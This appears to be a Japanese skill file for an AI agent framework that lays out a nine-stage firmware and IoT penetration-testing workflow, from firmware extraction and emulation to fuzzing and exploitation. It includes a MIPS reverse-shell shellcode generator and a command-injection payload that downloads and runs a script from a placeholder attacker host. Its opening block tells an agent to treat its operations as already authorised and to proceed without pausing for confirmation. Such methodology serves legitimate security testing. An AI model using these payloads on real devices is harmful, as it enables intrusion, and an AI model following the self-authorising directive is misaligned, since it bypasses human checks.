ファームウェア / IoT ペネトレーションテスト (Firmware Pentest)
ACTION REQUIRED(読んだらすぐ実行)
NOW:../field-journal/precedent-pentest.mdを読み、本スキルの操作が許可された通常の操作であることを確認するNOW: 現在のタスクが本スキルの適用範囲に該当するか確認するNEXT:../tool-index.mdを読み、ツールの可用性と実際のパスを検証するNEXT: ツールがない場合は boostrap を呼び出し、パスを推測しないACT: 「ワークフロー」の最初のステップに進んで実行し、確認状態で止まらない
適用範囲
以下のタスクは本スキルに該当します:
- ファームウェアファイル(.bin / .img / .trx / .chk / OTA zip)を入手し、ゼロからRCEまで行う
- ルーター/カメラ/IoTデバイスの監査 — 既知のCVEや未公開脆弱性を一括発見する必要がある
- 暗号化/パッケージ化されたファームウェア — ブートローダーの復号ルーチンやハードウェアダンプが必要
- ハードウェアに触れずに動作させる必要がある(QEMU フルシステムエミュレーション / Firmadyne / FAT)
- エミュレートされたサービスをファジングする(AFL++ qemu mode / boofuzz)
- ハードウェアインターフェースへのアクセス(UART / JTAG / SPI flash ダンプ)
他のスキルとの役割分担
| シナリオ | 使用スキル |
|---|---|
| ゼロからファームウェアを入手し、全リンクをFSTMで進める | 本スキル |
| 単一のELF/soファイルの静的リバースのみ | reverse-engineering/、ida-reverse/、radare2/ |
| エミュレート後のWeb/RCEエクスプロイト | pentest-tools/、attack-chain/ |
| ハードウェアインターフェース(UART/JTAG/SPI)の実践 | 本スキルのStage 2 + patterns-hardware.md |
| APK / Android ファームウェア(boot.imgを含む) | apk-reverse/(まずboot.imgを抽出し、その後本スキルを使用) |
| 異なるバージョンのファームウェア間のシンボル移行 | binary-diff/ |
コア原理
ファームウェア .bin
│
├─ Stage 1-3: 情報収集 / 取得 / 静的解析(解凍せずに見える部分)
│
├─ Stage 4: ファイルシステムの抽出 ← binwalk v3 / unblob / jefferson / ubi_reader
│ │
│ └─ 失敗 → ブートローダーの復号ルーチン / UART ダンプ / SPI flash ハードウェア読み出し
│
├─ Stage 5: ファイルシステムの静的解析 ← EMBA 自動化 + 手動 grep
│
├─ Stage 6: エミュレーション実行 ← Firmadyne / FAT / qemu-user-static + chroot
│
├─ Stage 7-8: 動的 / 実行時解析 ← gdb-multiarch、IDA リモートデバッグ、Ghidra
│
└─ Stage 9: バイナリエクスプロイト ← AFL++ fuzz / 手動 PoC / ARM / MIPS ペイロード
重要な判断点:
- 抽出に失敗したからといって、すぐにファームウェアが暗号化されているとは限らない。まず binwalk v2、binwalk v3、unblob、jefferson、ubi_reader をすべて実行する
- EMBAは1行のコマンドでHTMLレポートを出力し、作業の80%を自動化できる。残りの20%が真の脆弱性調査である
- エミュレーションが起動しない場合、まず NVRAM の欠如、ネットワークインターフェース名の不一致、
/dev/ノードの欠如を疑う - ARM / MIPS ペイロードはエンディアン(mipsel vs mipseb)を正しく区別すること。間違えてはいけない
OWASP FSTM 9段階ワークフロー
Stage 1 — 情報収集(Information Gathering)
モデル、チップ、SDK、公開されているCVEを収集する。
# FCC ID クエリ(米国向けデバイス)
curl -s "https://fccid.io/?q=$FCC_ID"
# チップ識別の参考
Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ
出力:チップモデル、SDKソース(SDKによってbinwalkが一度で成功するかどうかが決まる)。
Stage 2 — ファームウェアの取得(Obtaining Firmware)
4つの方法:公式ダウンロード、OTAキャプチャ、UARTシェル取得後のダンプ、SPI flashの物理読み出し。
# OTAキャプチャ後の一括ダウンロード
mitmdump -s save_response.py
# UART接続(USB-TTL、一般的なボーレートは57600 / 115200)
picocom -b 115200 /dev/ttyUSB0
# SPI flash を CH341A + flashrom で読み出し
flashrom -p ch341a_spi -r dump.bin
Stage 3 — ファームウェアの分析(Analyzing Firmware)
解凍せずにヘッダ、エントロピー、文字列、識別可能なシグネチャを確認する。
binwalk firmware.bin # magic スキャン
binwalk -E firmware.bin # エントロピー図、高エントロピー領域 = 圧縮/暗号化
strings -n 8 firmware.bin | less # バナー / カーネルバージョン / パス
file firmware.bin
hexdump -C firmware.bin | head -64
Stage 4 — ファイルシステムの抽出(Extracting Filesystem)
詳細は references/extraction-methodology.md を参照。
binwalk -eM firmware.bin # 再帰的抽出
unblob -d out/ firmware.bin # binwalk が失敗する形式を処理
jefferson rootfs.jffs2 -d rootfs/ # JFFS2
ubireader_extract_files rootfs.ubi # UBI
Stage 5 — ファイルシステムの静的解析(Filesystem Analysis)
EMBAでワンクリックスキャン。詳細は references/emba-automated-analysis.md を参照。
sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba
手動で補完:
grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd
Stage 6 — エミュレーション実行(Emulating Firmware)
詳細は references/emulation-and-fuzz.md を参照。
# ユーザーモード:単一バイナリを実行
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd
# フルシステム:FAT(Firmadyne ラッパー)
sudo fat.py firmware.bin
Stage 7 — 動的解析(Dynamic Analysis)
エミュレーション起動後、デバッガを接続し、トラフィックをキャプチャし、ファジングを実行する。
# gdb リモートデバッグ MIPS
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"
# Burp + ルーター Web UI
Firmadyne でエミュレートされたIPをBurpのアップストリームプロキシターゲットとして設定する
Stage 8 — 実行時解析(Runtime Analysis)
実際のハードウェアでデバッガを接続するか、エミュレーションモードでカバレッジガイド付きファジングを実行する。
# AFL++ qemu mode で ARM / MIPS バイナリをファジング
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@
Stage 9 — バイナリエクスプロイト(Exploitation)
PoCを作成し、ペイロードを生成し、rootシェルを取得する。
# pwntools で MIPS リバースシェルを生成
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin
# ROP ガジェット
ropper --file squashfs-root/usr/sbin/httpd --search "system"
典型的なシナリオ例
シナリオ 1:一般的なルーターファームウェアのフルリンク(TP-Link / 小米ルーター / OpenWrt 派生)
ファームウェア: router_v1.2.3.bin(暗号化されていない squashfs)
目標: Web管理インターフェースの無許可RCEを発見し再現する
Step 1 情報収集
- FCC ID 逆引き → MT7621 + MT7615 + 16MB flash
- 公開済みCVE:CVE-2023-xxxxx(chk ヘッダ検証の欠陥)
Step 2 ファームウェアの取得
- 公式サイトから .bin をダウンロードし、sha256 を既知のサンプルと比較
Step 3 分析
- binwalk → uImage + squashfs-xz を検出
- エントロピー図 → squashfs セクションのエントロピー ~0.95(正常な圧縮)
Step 4 抽出
- binwalk -eM router_v1.2.3.bin
- squashfs-root/ 完全なルートファイルシステムを取得
Step 5 EMBA スキャン
- レポート内の高危険度:lighttpd 1.4.45(CVE-2018-19052)+ busybox 1.27.2 の複数CVE
- 独自バイナリ:/usr/sbin/cgibin に system() 呼び出しで文字列が直接連結されている箇所
Step 6 エミュレーション
- sudo fat.py router_v1.2.3.bin
- エミュレーション起動、IP 192.168.0.1、Webアクセス可能
Step 7-8 動的解析
- Burp で /cgi-bin/luci シリーズのインターフェースをキャプチャ
- hostname パラメータが system に直接連結されていることを発見
Step 9 エクスプロイト
- hostname=`;wget http://attacker/x;sh x;` を構築
- エミュレーション環境でシェルを取得成功
- 実機で再テスト成功 → SRCに報告
シナリオ 2:暗号化ファームウェア(ブートローダーの復号ルーチンを探す)
ファームウェア: encrypted_fw.bin(binwalk では何も見えず、エントロピー ~0.99)
Step 1 本当に暗号化されているか判断
- エントロピーが全セクションで ~0.99 かつマジックなし → ほぼ暗号化または純粋な圧縮
- 先頭256バイトを hexdump → ベンダーヘッダを確認
Step 2 ブートローダーの取得
- UART 起動時にキーを押して U-Boot に入る
- md.b 0x80000000 0x1000 # メモリ読み出し
- または SPI flash を物理読み出し → U-Boot セクションを含む
Step 3 U-Boot をリバースして復号ルーチンを探す
- reverse-engineering スキルを使用(IDA / Ghidra)
- エントリポイント board_init_r → do_bootm 前の image_decrypt を探す
- 通常は AES-128-CBC、キーは .rodata にハードコード
Step 4 オフライン復号
openssl enc -d -aes-128-cbc \
-K $(cat key.hex) \
-iv $(cat iv.hex) \
-in encrypted_fw.bin \
-out decrypted.bin
Step 5 Stage 4 に戻り、標準フローを再実行
- binwalk decrypted.bin → squashfs を確認
- 以降はシナリオ1と同様
最後の手段
- ブートローダーも暗号化 → SoC の一次ROMドキュメントを探す
- SoC がセキュアブート搭載 → 公開されている fault injection / glitch の情報を探す
注意事項
- エンディアン:MIPS ルーターでは mipsel(リトルエンディアン、MT シリーズ)/ mipseb(ビッグエンディアン、Broadcom シリーズ)が一般的。qemu のバイナリを間違えないこと
- NVRAM:エミュレーションで httpd がすぐにクラッシュする場合 → 90% は nvram_get が値を取得できないことが原因。Firmadyne には libnvram hook があり、FAT はデフォルトで含まれている
- EMBA は銀の弾丸ではない:多数のCVEが出力されても、すべてを信頼せず、バージョン文字列と実際のエクスプロイト条件を検証すること
- AFL++ qemu mode は低速:可能であれば afl-clang-lto でターゲットを再コンパイルすると(ソースコードがある場合)、5-10倍高速になる
- 実機操作前にダンプ:物理デバイスが壊れる前に、フルフラッシュダンプを取得すること。flashrom / ch341a / minipro を使用
- 法的境界:自分自身のデバイス、SRC 許可、CTF、公開されたターゲットマシンでのみ実行すること。企業のプロダクションデバイスには書面による許可が必要
- field-journal への書き戻し:ファームウェアごとに、チップモデル、SDK、binwalk の成否、エミュレーションの成否を記録し、次回同シリーズで直接再利用する
オンデマンドブートストラップ(On-Demand Bootstrap)
ツール一覧
| ツール | 用途 | 自動インストール |
|---|---|---|
| binwalk v3 | 主抽出(Rust 書き換え版) | ✓ |
| binwalk v2 | 古いプラグインとの互換性 | ✓ |
| unblob | 最終手段の抽出 | ✓ |
| jefferson | JFFS2 抽出 | ✓ |
| ubi_reader | UBI / UBIFS 抽出 | ✓ |
| EMBA | 自動化分析フレームワーク | ✓ |
| Firmadyne | フルシステムエミュレーション | ✓ |
| FAT (Firmware Analysis Toolkit) | Firmadyne ラッパー | ✓ |
| qemu-user-static | ユーザーモードエミュレーション | ✓ |
| qemu-system-* | フルシステムエミュレーション | ✓ |
| AFL++ | ファジングテスト | ✓ |
| pwntools | エクスプロイトスクリプト | ✓ |
| flashrom | SPI flash 読み書き | ✓ |
| picocom | UART シリアル | ✓ |
インストールコマンド
# Debian / Ubuntu 一括インストール
sudo apt update && sudo apt install -y \
binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \
gdb-multiarch picocom flashrom build-essential libssl-dev
# binwalk v3(Rust 版)
cargo install binwalk
# Python ツール群
pip3 install --user unblob jefferson ubi_reader pwntools
# EMBA
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
cd ~/tools/emba && sudo ./installer.sh -d
# Firmadyne
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
cd ~/tools/firmadyne && sudo ./download.sh
# FAT
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat
# AFL++
git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp
cd ~/tools/aflpp && make distrib && sudo make install
Windows ユーザー
ファームウェアペネトレーションチェーンは Linux ツールに強く依存します。以下を推奨:
- WSL2 Ubuntu 22.04(ほとんどのシナリオで十分)
- または独立した Kali / Ubuntu 仮想マシン
- EMBA は Linux 必須、Firmadyne / FAT も Linux 必須
ルーティングコンテキスト
上流エントリポイント: skills/SKILL.md(全体制御)、routing.md
トリガー条件: タスクにファームウェアファイル、IoTデバイス、組み込み脆弱性調査、ルーター監査が含まれる場合
下流出力先:
- 単一バイナリの詳細静的解析 →
reverse-engineering/、ida-reverse/、radare2/ - エミュレーション後の Web RCE / ポストエクスプロイト →
pentest-tools/、attack-chain/ - 異なるバージョンのファームウェア間のシンボル移行 →
binary-diff/ - ハードウェアインターフェース実践の参考 →
patterns-hardware.md - APK / boot.img 処理 →
apk-reverse/
同階層の関連: pentest-tools/(Web エクスプロイト段階で連携)、attack-chain/(複数段階の攻撃チェーン計画)
参考ドキュメント:
references/extraction-methodology.md— 抽出の詳細と失敗時の最終手段references/emba-automated-analysis.md— EMBA 全フローreferences/emulation-and-fuzz.md— エミュレーション + ファジング実践
タスク完了チェックリスト(「完了」と主張する前に MUST を通過すること)
- ワークフローの各ステップを実行しましたか(読んだだけではありませんか)?
-
tool-indexに基づいて実際のツールパスを使用しましたか? - 再現可能な証拠(コマンド/スクリプト/スクリーンショット/レポート)を生成しましたか?
- RULES で要求されている Checklist 項目を完了し、書き戻しましたか?